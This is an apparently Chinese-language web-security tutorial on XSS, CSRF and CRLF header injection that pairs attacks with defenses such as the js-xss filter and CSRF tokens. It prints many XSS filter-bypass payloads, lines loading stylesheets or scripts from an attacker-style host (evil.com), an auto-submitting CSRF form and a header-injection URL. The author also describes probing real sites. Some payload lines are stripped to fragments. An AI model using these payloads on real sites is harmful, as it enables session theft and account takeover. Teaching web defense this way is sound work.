1.XSS (Cross Site Script) ,跨站脚本攻击
有句话说
所有的输入都是有害的。
跨站脚本是最常见的计算机安全漏洞,跨站脚本攻击指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入的恶意html代码会被执行,对受害用户可能采取Cookie资料窃取、会话劫持、钓鱼欺骗等各种攻击。
xss给人留下的印象:
"xss? 不就是弹出个对话框给自己看吗?"
“跨站脚本是在客户端执行,xss漏洞关我什么事!”
“反正xss不能窃取我的root权限。”
其实,随着web2.0信息分享模式和社交网络的发展,xss衍生出的攻击危害还是很大的。最早的MySpace的xss蠕虫攻击,传染了100多万用户,网站瘫痪,后来的知名网址如微博就爆发了xss蠕虫攻击,持续了16分钟。
危害:
- 网络钓鱼,包括窃取用户账号;
- 窃取用户cookies资料,从而获得用户隐私信息,或利用用户身份进一步对网站执行操作;
- 劫持用户会话,进行非法转账、强制发表日志、发送电子邮件等;
- 强制弹出广告、刷流量等;
- 恶意操作,删除文章等;
- 网页挂马;
- 传播跨站脚本蠕虫等
.....
举个简单栗子 :
假如你现在是站点上一个用户,发布信息的功能存在漏洞可以执行js。你在此刻输入一个恶意脚本,那么当前所有看到你新信息的人的浏览器都会执行这个脚本弹出提示框 (很爽吧 弹出广告 :)),如果你做一些更为激进行为呢?后果难以想象。
反射型XSS
早期,通过url的输入,将恶意脚本附加到URL地址的参数中。能够弹出一个警告框,说明跨站脚本攻击漏洞存在。特点:单击时触发,执行一次。
通常出现在网站的搜索栏、用户登入口等地方。
http://weibo.com/login.php?'u=1931138954'<script>alert(/ssss/)</script>

- XSS 跨框架钓鱼
怎么构造钓鱼?使用标签iframe.
http://weibo.com/login.php?'u=1931138954'<iframe src='http://www.baidu.com'/>

假如这是一个银行网银登录的网站,存在这样的漏洞,那我们作为攻击者,我可以构造一个类似的页面,把它原有的登录框覆盖掉。我可以把这个链接发给被攻击者,以邮件或者其他的方式,这里需要用到的技术是社会工程学,诱使被攻击者访问这个链接,最终欺骗他来登录,而攻击者就可以轻易的拿到被攻击者的账号和密码信息。也有人问,发过去的这个链接带有这样的标志或参数,被攻击者一眼就能看出来。在这里,我们可以对这段代码进行编码,不管是url的编码还是其他方式的编码,也就是说,被攻击者一眼看不出来这个异常,所以就会被诱使去访问这个链接,最终造成影响。这个是钓鱼攻击。
现在大部分主流浏览器已经对url攻击做了预防方法。
比如在老问吧输入: https://bar.focus.cn/s?keywords=<script>alert(1)</script>
chrome: 直接报错
ie:下面会有弹窗提示阻止跨站点脚本攻击
搜狗:页面结果过滤插入的代码,控制台输出提示做了xss防御
危险:
网站的用户就有被冒名顶替的风险。也就是我们的cookie信息被获取,我们就存在有被冒名顶替的风险。
我们刚才获取cookie的信息不是让它alter告警方式展示给用户,而是通过脚本程序将我们函数获取的cookie信息,发送至远程的恶意网站,远程的这个恶意网站是专门用来接收当前的cookie信息的,当被攻击者触发这个漏洞以后,它当前用户的cookie信息就会被发送到远端的恶意网站。攻击者登录恶意网站,查看到cookie信息后可以对这个用户的控制权限进行冒名顶替。
- HTML注入式钓鱼
直接利用XSS漏洞注射HTML/JavaScript代码到页面中,或者是把用户输入的数据”存储“在服务器端。比如登录密码直接设置为<script>alert(1)</script>,存入数据库中。
常见解决办法:
设计xss Filter,分析用户提交的输入,并消除潜在的跨站脚本攻击、恶意的HTML等。在需要html输入的地方对html标签及一些特殊字符( ” < > & 等等 )做过滤,将其转化为不被浏览器解释执行的字符。
再举个栗子:
用ie在问吧的搜索输入<script>alert('包小姐')</script>
输入
<script>alert(document.cookie)</script>
在微博同样在搜索输入
<script>alert('包小姐')</script>
在知乎搜索输入
<script>alert('hello')</script>
在知乎修改密码为:<script>alert('包小姐')</script>
结果:没反应,控制台报错HTTP405: 错误方法 - 不支持使用的 HTTP 谓词。
持久型xss
攻击者事先将恶意js代码上传或存储到漏洞服务器中,只要受害者浏览包含此恶意js代码的页面就会执行恶意代码。
通常出现在网站的留言、评论、博客日志等。
危害:不需要单击URL触发,危害比反射型xss大,更严重的是能编写xss蠕虫(利用ajax/js 编写的蠕虫病毒,能够在网站中实现病毒的几何数级传播,其感染速度和攻击效果都很可怕)。
(1)寻找xss点
发掘个人档案、日志、留言等地方的xss漏洞
(2)实现蠕虫行为
将xss shellcode写进xss点(例如个人档案),引诱用户查看,攻击者利用ajax修改受害用户的个人档案信息,将恶意的代码复制进去。随后任何查看受害者个人档案的也会被感染,执行重复操作,直到xss蠕虫传播。
绕过xss Filter:
1、利用<>标记注射HTML/js
解决:过滤和转义<>
或<script>
等字符,从而过滤某些形式的xss<script>shellcode</script>
2、利用HTML标签属性值执行xss
<table background="javascript:alert(/xss/)"></table>
;)
解决:过滤JavaScript等关键字。
3、空格回车Tab
利用空车、回车和Tab键绕过限制,)
4、对标签属性值转码
HTML属性值支持ASCII形式,;)
解决:最好也过滤&#\等字符。
5、产生自己的事件

,只要图片不存在就会触发onerror事件
6、利用css跨站剖析
使用css样式表执行javascript具有隐蔽、灵活多变的特点
<div style="background-image:url(javascript:alert('xss')">
<style>
<body {background-image:url("javascript:alert('xss')");}
</style>
使用link或import引用css<link rel="stylesheet" href="http://www.evil.com/attack.css">
p {background-image: expression(alert("xss"));}
<style type='text/css'>@import url(http://www.evil.com/xss.css);</style>
解决:禁用style标签,过滤标签时过滤style属性,过滤含expression、import等敏感字符的样式表
7、扰乱过滤规则
大小写混淆,不使用引号<iMg sRC="jaVasCript:alert(0);">
全角字符<div style="{left: expression(alert(0))}">
/**/会被浏览器忽略 <div style="wid/****/th: expre/*XSS*/ssion(alert('xss'));">
\和\0 被浏览器忽略@\0im\port'\0ja\vasc\ript:alert("xss")
;
e转换成\65 <p style="xss:\65xpression(alert(/xss/))">
字符编码:
可以让xss代码绕过服务端的过滤,还能更好地隐藏Shellcode
;)
进行十进制转码后得到
;)
用eval()执行10进制脚本
))
style属性中经过十六进制编码逃避过滤
<div style="xss:expression(alert(1));"></div>
<img STYLE="background-image:\75\72\6c\28\6a\61\76\61\73\63\72\69\70\74\3a\61\6c\65\72\74\28\27\58\53\53\27\29\29">
等等其他编码方式
还有js支持unicode、escapes、十六进制、八进制等编码形式,如果运用于跨站攻击,能大大加强xss的威力。
拆分跨站法
当程序没有过滤xss关键字符,却对输入字符长度有限制时。
比如:使用拆分法连续发表4篇文章
标题1:<script>z='<script src=';/*
标题2:/z+='http://www.test.c';/
标题3:/z+='n/1.js></script>';/
标题4:/*document.write(z)</script>
/* * / 在脚本标签中是注释,/和/之间的字符被忽略,最终转成:
<script>z='<script src=';
z+='http://www.test.c';
z+='n/1.js></script>';
document.write(z)</script>
脚本顺利执行。
等等还有很多攻击方式与调用shellcode的方法,这里就不一一讲述了。。。。
防御
确认客户端生成数据的唯一安全方法就是在服务器端实施保护措施。
(1)输出编码
-
< 转成 & lt ;
*> 转成 & gt; -
& 转成 & amp;
...
(2)白名单、黑名单
(3)URL属性
- 规定href和src是以http://开头;
- 规定不能有十进制和十六进制的编码字符
- 规定属性以双引号“界定
前端防御组件:js-xss
js-xss是一个用于对用户输入的内容进行过滤,以避免遭受XSS攻击的模块,一般是基于黑白名单的安全过滤策略。
-
特性
(1)白名单控制允许的HTML标签及各标签的属性
(2)通过自定义处理函数,可对任意标签及其属性进行处理 -
安装
NPM
$ npm install xss
- 使用方法
在node.js中使用
const xss = require('xss');
$('.btnSure').on('click', function(){
let result = xss($('.input').val());
putout.html(result);
});
结果:能够显示出输入的代码,而不是出现alert弹窗。
自定义过滤规则
通过 whiteList
来指定,格式为:{'标签名': ['属性1', '属性2']}
。不在白名单上 的标签将被过滤,不在白名单上的属性也会被过滤。以下是示例:
// 只允许a标签,该标签只允许 title这个属性
let options = {
whiteList:{
a: ['title']
}
};
// 使用以上配置后,下面的HTML
// <a href="https://bar.focus.cn" title="问吧">问吧问吧</a>
// 将被过滤为
// <a title="问吧">问吧问吧</a>
自定义CSS过滤器
如果配置中允许了标签的 style
属性,则它的值会通过cssfilter
模块处理。cssfilter
模块包含了一个默认的CSS白名单,你可以通过以下的方式配置:
myxss = new xss.FilterXSS({
css: {
whiteList: {
position: /^fixed|relative$/,
top: true,
left: true,
}
}
});
html = myxss.process('<script>alert("xss");</script>');
去掉不在白名单上的标签
通过stripIgnoreTag
来设置:
let options = {
whiteList:{
'a': ['title']
},
stripIgnoreTag: true
};
结果:
code:<script>alert('问吧');</script>
过滤为code:alert('问吧');
去掉不在白名单上的标签及标签体
通过stripIgnoreTagBody
来设置:
let options = {
whiteList:{
'a': ['title']
},
stripIgnoreTag: ['script']
};
结果:
code:<script>alert('问吧');</script>
过滤为code:
参考资料:
《XSS跨站脚本攻击剖析与防御》 邱永华
2.CSRF(Cross Site Request Forgery),跨站点伪造请求。
攻击者通过各种方法伪造一个请求,模仿用户提交表单的行为,从而达到修改用户的数据,或者执行特定任务的目的。
简单例子:
- 在某个论坛管理页面,管理员可以在list.php页面执行删除帖子操作,根据URL判断删除帖子的id,像这样的一个URL
http://localhost/list.php?action=delete&id=12
当恶意用户想管理员发送包含CSFR的邮件,骗取管理员访问http://test.com/csrf.php,在这个恶意网页中只要包含这样的html语句就可以利用让管理员在不知情的情况下删除帖子了
<img alt="" arc="http://localhost/list.php?action=delete&id=12"/>
这个利用了img的src可以跨域请求的特点,这种情况比较少,因为一般网站不会利用get请求修改资源信息。
但是恶意网站这么写一样可以攻击:
<!DOCTYPE html>
<html>
<body>
<iframe display="none">
<form method="post" action="http://localhost/list.php">
<input type="hidden" name="action" value="delete">
<input type="hidden" name="id" value="12">
<input id="csfr" type="submit"/>
</form>
</iframe>
<script type="text/javascript">
document.getElementById('csfr').submit();
</script>
</body>
</html>
解决的思路有:
1.采用POST请求,增加攻击的难度.用户点击一个链接就可以发起GET类型的请求。而POST请求相对比较难,攻击者往往需要借助javascript才能实现。
2.对请求进行认证,确保该请求确实是用户本人填写表单并提交的,而不是第三者伪造的.具体可以在会话中增加token,确保看到信息和提交信息的是同一个人。(验证码)
3.Http Heads攻击
HTTP协议在Response header和content之间,有一个空行,即两组CRLF(0x0D 0A)字符。这个空行标志着headers的结束和content的开始。“聪明”的攻击者可以利用这一点。只要攻击者有办法将任意字符“注入”到headers中,这种攻击就可以发生。
- 以登陆为例:有这样一个url:
http://localhost/login?page=http%3A%2F%2Flocalhost%2Findex
当登录成功以后,需要重定向回page参数所指定的页面。下面是重定向发生时的response headers.
HTTP/1.1 302 Moved Temporarily Date: Tue, 17 Aug 2010 20:00:29 GMT Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Location: http://localhost/index
假如把URL修改一下,变成这个样子:
http://localhost/login?page=http%3A%2F%2Flocalhost%2Fcheckout%0D%0A%0D%0A%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E
那么重定向发生时的reponse会变成下面的样子:
HTTP/1.1 302 Moved Temporarily
Date: Tue, 17 Aug 2010 20:00:29 GMT
Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Location: http://localhost/checkout<CRLF>
<CRLF>
<script>alert('hello')</script>
这个页面可能会意外地执行隐藏在URL中的javascript。类似的情况不仅发生在重定向(Location header)上,也有可能发生在其它headers中,如Set-Cookie header。这种攻击如果成功的话,可以做很多事,例如:执行脚本、设置额外的cookie(<CRLF>Set-Cookie: evil=value)等。
避免这种攻击的方法,就是过滤所有的response headers,除去header中出现的非法字符,尤其是CRLF。
服务器一般会限制request headers的大小。例如Apache server默认限制request header为8K。如果超过8K,Aapche Server将会返回400 Bad Request响应。
对于大多数情况,8K是足够大的。假设应用程序把用户输入的某内容保存在cookie中,就有可能超过8K.攻击者把超过8k的header链接发给受害者,就会被服务器拒绝访问.解决办法就是检查cookie的大小,限制新cookie的总大写,减少因header过大而产生的拒绝访问攻击
测试:
结果控制台输出:SEC7130: “http://weibo.com/u/1931138954/home?wvr=5&lf=reg%2Fcheckout%0D%0A%0D%0A%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E”中检测到可能的跨站点脚本操作。内容已被 XSS 筛选器修改。
网友评论